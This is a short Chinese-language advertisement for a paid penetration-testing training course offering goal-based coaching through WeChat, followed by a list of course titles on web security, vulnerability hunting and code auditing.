指目前有一个非常明确的目标需要去实现,但是不知道如何去解决进一步提升。
有安全基础想要就业渗透测试岗位--->想就业 工作上遇到了问题--->有具体的困难 不知道如何挖掘漏洞--->漏洞挖掘 公司要求找到漏洞--->转正 目前的技术挖不出满意的漏洞--->新技术学习 ···
诸如上述,都是一些很明确的提升需求。如果你有这样明确的目标,可以添加老师微信详细咨询,我们会在学习期间内保证你的完成目标。
渗透测试实战(四),渗透测试实战(五),业务逻辑安全漏洞(一),业务逻辑安全漏洞(二),代码审计原理(一),通用漏洞复现(一),通用漏洞复现(二),代码审计原理(二),代码审计原理(三),渗透测试综合实战,编写渗透测试报告,渗透测试学前手册,HTML基础课程,Javascript基础课程,HTTP基础课程,PHP基础课程,Web安全漏洞原理(一),Web安全漏洞原理(二),渗透测试基本流程,渗透测试实战(一),渗透测试实战(二),渗透测试实战(三),定制化提升,知识盒子,知识付费,在线教育